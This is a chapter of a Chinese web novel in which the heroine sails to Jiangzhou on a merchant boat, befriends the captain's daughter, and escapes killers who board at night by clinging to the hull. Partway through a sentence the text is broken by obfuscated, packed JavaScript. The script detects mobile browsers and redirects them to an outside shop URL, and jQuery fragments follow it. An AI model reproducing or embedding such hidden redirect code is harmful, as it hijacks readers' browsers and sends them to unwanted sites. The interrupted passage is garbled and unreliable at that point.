15. 活下去
    柳绵绵在马车上闭目,他们在陆上走了一天才到了钱江渡口,一个黝黑的汉子迎接了上来,看他的样子像是等了很久。

    “是不是去江州的柳小姐?”那黝黑的汉子有些局促。

    春桃下了马车与那汉子道:“是,我家小姐是要去江州。”

    汉子笑了道:“那就没错了,柳大人前天就知会小的了,说是家里人要来坐船去江州托人帮忙照看,恰好我这几日要出发顺道,亲自捎带着我也安心一些。”

    柳绵绵出声问道:“可是万老板的船?”

    万邦老实的回答道:“是的,小的本命是万邦,经常帮柳大人捎些东西。”

    万邦说的没错有些货运生意也是托了柳嗣的福,一来二去熟了经常给柳嗣在江州的丈人会捎些东西,这次为了安全特地上联系了熟人照看。

    柳绵绵见信息一一对上了才下马车,看着面上熟悉的人才放下了戒备,招呼道:“万老大。”

    “柳小姐。”万邦看到柳绵绵行了抱拳一礼,行走船运的人的豪爽一下子扑面而来。

    万邦指着自己身边的女孩介绍道:“这是我的女儿万洁,也住在船上平日里面也是一个帮手,正好也方便照顾你。”

    万洁的皮肤也被晒成小麦色,笑盈盈的露出雪白的牙齿,眼睛中满是惊艳,微张着嘴打量柳绵绵道:“你是上京的小姐?”

    春桃被万洁惊讶的样子逗得捂着嘴笑。

    万洁被春桃笑的不好意思了,结结巴巴的不知道怎么说话了。

    柳绵绵赶快解围道:“万姑娘你也是厉害,这么大的一艘船你也要操心照顾。”

    万洁摆摆手道:“我平日也就补补网做做饭,哪里有我父亲说的那么厉害,我给你已经收拾好了房间,是紧挨着我的那间最好的客房,不过,还是要谢谢你。”

    柳绵绵有些惊愕,“谢我什么?”

    “要不是柳大人对我们这些小商船的照顾,恐怕这船我们早就卖掉了。”万洁说的真诚,说着完领着柳绵绵往里面走,还边招呼船工搬东西。

    现在航运大头还是船帮垄断,他们这种不入帮的难有活,柳父为人公正,谁快稳当便用谁,也不挑。

    上了甲板,柳绵绵注意到了隔壁的客船,此时也忙忙碌碌的打算要扬帆出航。

    万洁抬着下巴说道:“说起来那艘船也是去江州的,等会就要开了不知道什么原因赶下来了很多人,看着人多混乱看着就不怎么安心,不过你放心,你上了我家的船保证让你舒舒服服的到江州,到时候你瞧好了,它走的比我家的早可不一定比我家的快!”

    “我信你。”柳绵绵知道万洁从小在船上长大说的一定对。

    万洁道:“其实也没什么,客船这一路上走走停停的要上人下人的,我们可就没那么多的麻烦。”

    柳绵绵这才发现自己父亲的良苦用心,对父亲的安排心中微微一暖。

    她们刚在船上安顿好了,外面万里无云的天就淅沥沥的下起了雨,从窗户就能看见江面荡起的小小涟漪,岸边上的芦苇丛被雨打的东倒西歪。

    万洁拍了拍脑袋说道:“我先出去帮着看看货有没有遮好。”

    “你快去忙吧。”柳绵绵也没有挽留,看着万洁风风火火的跑出去了。

    春桃在柳绵绵身后收拾被褥,说道:“小姐,别说这万姑娘还真心细,将这屋子里面的被褥换新了不说,我肯定这还放在太阳下晒了。”

    柳绵绵道:“万姑娘是一个心思细腻的人。”

    外面一阵喧闹的声音,柳绵绵向外面眺望,看见那艘前往江州的客船驶出渡口,船上的人纷纷向岸上的人挥手道别,柳绵绵的情绪也被这些人感染了有些感伤。

    忽然,一道锐利的视线就像是刀子一般射了过来,柳绵绵向那不怀好意的视线望去,只是偌大的江面只有那一艘喧闹的客船徐徐驶过,人头攒动哪里能寻得那视线的方向。

    柳绵绵想些许是自己太过于敏感了,最近又遇到这么多事情才让自己出现了幻觉,去外面散散心也好。

    一连几日的大雨滂沱,船被大雨砸的整个船发出沉重的喘息,这让她总是睡不好觉,不过也幸好船上有一个会照顾人的万洁。

    万洁没事的时候经常陪着柳绵绵一起说话,万洁似乎对上京十分的向往,不由的追问柳绵绵更多,柳绵绵也是很大方的拿出自己的衣服首饰,给万洁装扮一番,给她交上京小姐走路,一摇三晃虎背熊腰的逗得大家捧腹。

    柳绵绵半开玩笑的说道:“若是你喜欢到时候我给你介绍个上京的夫家,这样你就可以永远留在那里了。”

    万洁有些落寞道:“现在的日子就很好了,陆上说不定我反而变的没用了,也谢谢我的父亲没让我只坐江上小舟渔家女。”

    柳绵绵知道在江上他们家里面虽不及船帮,但是比起渔女却是在了天上,虽然整年都在跑船但不会真困在一叶小舟之上,靠着摆渡打渔为生。

    几日的相处柳绵绵喜欢这个不拘小节的姑娘,阳光开朗比起上京人的深沉多了敞亮。

    柳绵绵道:“深闺大院不是你的归宿,说起来我还是羡慕你,虽然为生计奔波但是见过各种人去过很多地方,做自己比为了迎合旁人迷失自己的小姐们强太多了。”

    她这几年不也是在沈岁年身边迷失了自己吗?围着一个不值当的人转还被倒打了一扒,要说自己受的是情伤,自己更愿意是觉得是自己多了些前路的迷惘,要说以前是为了和沈岁年在一起而努力,那现在自己尽然一下子失去了方向。

    万洁不是很理解柳绵绵说的迷失,不过看柳绵绵的表情就知道上京并没有自己想的那么美。

    江上一入夜,柳绵绵就开始心神不宁,她来回翻动着身子。

    春桃瞌睡很轻,柳绵绵稍微有些动作她便已经醒了,她坐起点燃了房中的蜡烛。

    “小姐是不是很闷睡的不好。”春桃为柳绵绵擦了擦额头上的冷汗。

    柳绵绵捂着胸口:“不知道为什么心里有些烦躁。”

    春桃将窗户开了一条缝,“夜里江风湿冷稍微开点透透气,这几日天色这么不好,江面难免颠簸让人难受,再忍两日我们便能上岸。”

    细细索索的声音的声音传到了柳绵绵的耳朵中。

    “春桃你有没有听到什么?”柳绵绵侧着耳朵问道。

    春桃也仔细的听着,但是只是听到了水浪拍打船体的声音,摇了摇头说道:“我什么也没有听到,小姐你就是最近没有睡好,今晚你都没怎么吃,我去给你熬点银耳粥去垫垫胃。”

    “好。”柳绵绵扶着额头,她心里面实在是难受的厉害,焦虑、恐慌一直萦绕在她的心头,今天一直脸白的吓人,万洁还说是船太颠簸了柳绵绵晕船了。

    她从床上起来,披了一件披肩,依着窗口吹着江风,外面黑的吓人,天地混沌仿佛就剩下她所在摇晃的小船。

    柳绵绵看着黑夜想起了往事,几年前沈岁年为了让她看到盛夏的萤火,从几公里的城外特地抓了萤火虫,爬在她家墙上从衣服中抖出那些小虫子,可惜她还是没能看到,那些萤火虫早就因为路途太过遥远闷死了。

    看着呆愣不知所措的沈岁年,她还心疼的不住安慰,现在想想他们之间早就有预料,就像那天的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090506|149595||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    萤火虫一般早就捂死在了不透气的环境中。

    嘭——

    一声巨大的响声从门外传来,吓得柳绵绵回过了神。

    “春桃?”柳绵绵轻声呼唤。

    可是门外面面没有什么回应,雨声像是要吞掉整个船一般,柳绵绵向前走了几步手就要去拉门。

    啪——

    一个血手拍在门上的油纸上!

    柳绵绵被吓的浑身抖了抖,声音被人遏在了嗓子里面,她捂着嘴安安静静的看着那手慢慢的滑下,恍然间她回过神,插好了门栓吹熄了蜡烛。

    她死死的盯着门的方向,内心惶恐不已,怕自己闭眼的瞬间外面的恶徒突门而入。

    寂静了一会儿,窗外忽然有什么影子闪了一下,随后便是东西投入水中的声音,柳绵绵小心翼翼的从窗口的缝隙朝着水面张望,一个黑色的影子在江面沉沉浮浮。

    刚好在自己窗下,柳绵绵这勉强看清楚了,那是一个人!

    只是漆黑一片让她实在看不清那人是死是活,那人消失在了茫茫的江水中。

    有人杀了船上的人!柳绵绵一下子明白了自己的处境,那么刚刚出去的春桃恐怕已经遭遇不测了。

    柳绵绵屏住呼吸,紧张到只能听见自己如鼓一般的心跳,天地间仿佛就剩下一个等死的自己。

    门外的脚步声融着外面的雨声缓缓的朝着柳绵绵的方向靠近,她还是辨别出了那细微的声音,那些人冲着自己的房间来了!

    柳绵绵努力稳下心神想着该怎么办,门外的那些人几乎像是鬼魅一般上了船,神不知鬼不觉的杀了人,武功一定十分的高强,不管怎么样自己不能就这样坐以待毙。

    哐——

    门被推了一下但是没有被那人推开,柳绵绵吓的抄起桌子上的木质烛台,可是这个东西怎么可能防住那些杀人如麻的匪徒。

    外面的那个人见门从里面上了门栓并没有强行突破,而是掏出一个形状奇怪的铁片,慢慢的从门缝伸进来想要拨开门栓。

    柳绵绵的心都快要到嗓子眼了,这空挡的房间连个自己藏身的地方也没有,她将目光移到了开着的窗户,她要活下来!一定要活下来!

    那个持刀的歹徒终于是小心翼翼的打开了门栓,就在他欣喜的推开门的时候,屋子里面空无一人的情况让他大吃一惊,桌子上烛台的灯芯还微微散着热,这房间里面刚刚还是有人的,望着空荡荡的房屋他也不由的陷入了怀疑。

    只是片刻他将目光放到了这密闭屋子里面的唯一的出口。

    他一步一步的走向了窗户,推开了紧闭的窗户向着下面张望,只能听见船体破开江水的声音,而窗户下面以及水中并没有看到什么影子,这人狐疑的将窗户关上落了插销。

    而此时的柳绵绵脚尖和指尖竭力抠住船体唯一突出的边缘,脚几次都因为湿滑差点滑落到了水中,她几乎是摇摇欲坠努力保证自己不掉下去。

    刚刚只差一点,那人要是再将窗户推一下,一定能看到像壁虎一样窗户后面的柳绵绵。

    柳绵绵暗自庆幸自己命大,心中又陷入了无尽的绝望中,刚刚的窗户已经从里面锁死了,自己可能回不去了。

    脚下的江水溅起的水花距离自己仿佛只有几尺,脚下如同万丈深渊一般,柳绵绵向下稍微一看都觉得眩晕无比,她闭着眼睛小心的往回挪动,她要爬过自己的屋子向着更远的开着窗户的房挪去。

    柳绵绵从来没想到自己居然有这样潜力,她使出浑身解数指甲掰断双手鲜血淋漓,她一寸一寸的挪动着,为了活下去她甚至都没了恐惧,眼睛只是盯着自己活下去的希望。